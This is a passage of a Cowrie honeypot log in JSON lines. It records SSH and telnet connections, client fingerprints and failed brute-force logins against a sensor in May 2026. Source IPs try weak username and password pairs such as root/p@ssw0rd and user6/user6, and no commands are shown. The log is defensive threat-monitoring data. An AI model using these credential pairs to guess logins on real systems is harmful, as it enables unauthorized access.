{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43516,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5368d2aa88","protocol":"ssh","message":"New connection: 192.109.200.237:43516 (159.203.135.109:22) [session: 4c5368d2aa88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:47.939615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:47.944210Z","src_ip":"192.109.200.237","session":"4c5368d2aa88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:48.027359Z","src_ip":"192.109.200.237","session":"4c5368d2aa88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:48.277900Z","src_ip":"192.109.200.237","session":"4c5368d2aa88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.323028802871704,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:48.945220Z","src_ip":"152.42.224.71","session":"bbaf13c89526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:49.364760Z","src_ip":"192.109.200.237","session":"4c5368d2aa88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.935184478759766,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:49.578328Z","src_ip":"152.42.224.71","session":"270a00ca5c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33496,"dst_ip":"159.203.135.109","dst_port":22,"session":"348519e14319","protocol":"ssh","message":"New connection: 192.109.200.237:33496 (159.203.135.109:22) [session: 348519e14319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:51.294390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:51.301376Z","src_ip":"192.109.200.237","session":"348519e14319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:51.397315Z","src_ip":"192.109.200.237","session":"348519e14319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:51.749095Z","src_ip":"192.109.200.237","session":"348519e14319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:52.835074Z","src_ip":"192.109.200.237","session":"348519e14319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e427ec3aa5","protocol":"telnet","message":"New connection: 152.42.224.71:50136 (10.17.0.5:23) [session: 31e427ec3aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:53.151447Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33526,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6bcef1cc719","protocol":"ssh","message":"New connection: 192.109.200.237:33526 (159.203.135.109:22) [session: b6bcef1cc719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:54.785988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:54.792384Z","src_ip":"192.109.200.237","session":"b6bcef1cc719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:54.874501Z","src_ip":"192.109.200.237","session":"b6bcef1cc719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:55.124516Z","src_ip":"192.109.200.237","session":"b6bcef1cc719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52296,"dst_ip":"10.17.0.5","dst_port":23,"session":"a58c1c6bde44","protocol":"telnet","message":"New connection: 152.42.224.71:52296 (10.17.0.5:23) [session: a58c1c6bde44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:55.868282Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:56.207885Z","src_ip":"192.109.200.237","session":"b6bcef1cc719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f7ca3003b3","protocol":"telnet","message":"New connection: 152.42.224.71:52310 (10.17.0.5:23) [session: a6f7ca3003b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:56.816377Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38566,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7b1cda638e","protocol":"ssh","message":"New connection: 103.82.132.16:38566 (10.17.0.5:22) [session: 5e7b1cda638e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:57.129520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:57.134433Z","src_ip":"103.82.132.16","session":"5e7b1cda638e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:57.395205Z","src_ip":"103.82.132.16","session":"5e7b1cda638e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33556,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e8b2557f201","protocol":"ssh","message":"New connection: 192.109.200.237:33556 (159.203.135.109:22) [session: 2e8b2557f201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:58.120682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:58.124605Z","src_ip":"192.109.200.237","session":"2e8b2557f201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:58.206340Z","src_ip":"192.109.200.237","session":"2e8b2557f201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"julia","message":"login attempt [root/julia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:58.447651Z","src_ip":"103.82.132.16","session":"5e7b1cda638e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:58.456515Z","src_ip":"192.109.200.237","session":"2e8b2557f201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:59.540175Z","src_ip":"192.109.200.237","session":"2e8b2557f201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:59.711812Z","src_ip":"103.82.132.16","session":"5e7b1cda638e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50232,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ba412b6657b","protocol":"ssh","message":"New connection: 192.109.200.237:50232 (159.203.135.109:22) [session: 8ba412b6657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:01.519105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:01.524967Z","src_ip":"192.109.200.237","session":"8ba412b6657b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:01.609953Z","src_ip":"192.109.200.237","session":"8ba412b6657b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:02.057950Z","src_ip":"192.109.200.237","session":"8ba412b6657b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:03.145251Z","src_ip":"192.109.200.237","session":"8ba412b6657b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50236,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9535e2dcd6d","protocol":"ssh","message":"New connection: 192.109.200.237:50236 (159.203.135.109:22) [session: c9535e2dcd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:05.164513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:05.179339Z","src_ip":"192.109.200.237","session":"c9535e2dcd6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:05.263073Z","src_ip":"192.109.200.237","session":"c9535e2dcd6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:05.516095Z","src_ip":"192.109.200.237","session":"c9535e2dcd6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:06.607401Z","src_ip":"192.109.200.237","session":"c9535e2dcd6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52320,"dst_ip":"10.17.0.5","dst_port":23,"session":"626ff4ed4729","protocol":"telnet","message":"New connection: 152.42.224.71:52320 (10.17.0.5:23) [session: 626ff4ed4729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:07.305173Z"}
{"eventid":"cowrie.session.closed","duration":38.238646507263184,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:08.015853Z","src_ip":"152.42.224.71","session":"795baaed36ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50252,"dst_ip":"159.203.135.109","dst_port":22,"session":"92eb2b4e4bef","protocol":"ssh","message":"New connection: 192.109.200.237:50252 (159.203.135.109:22) [session: 92eb2b4e4bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:08.434584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:08.439585Z","src_ip":"192.109.200.237","session":"92eb2b4e4bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 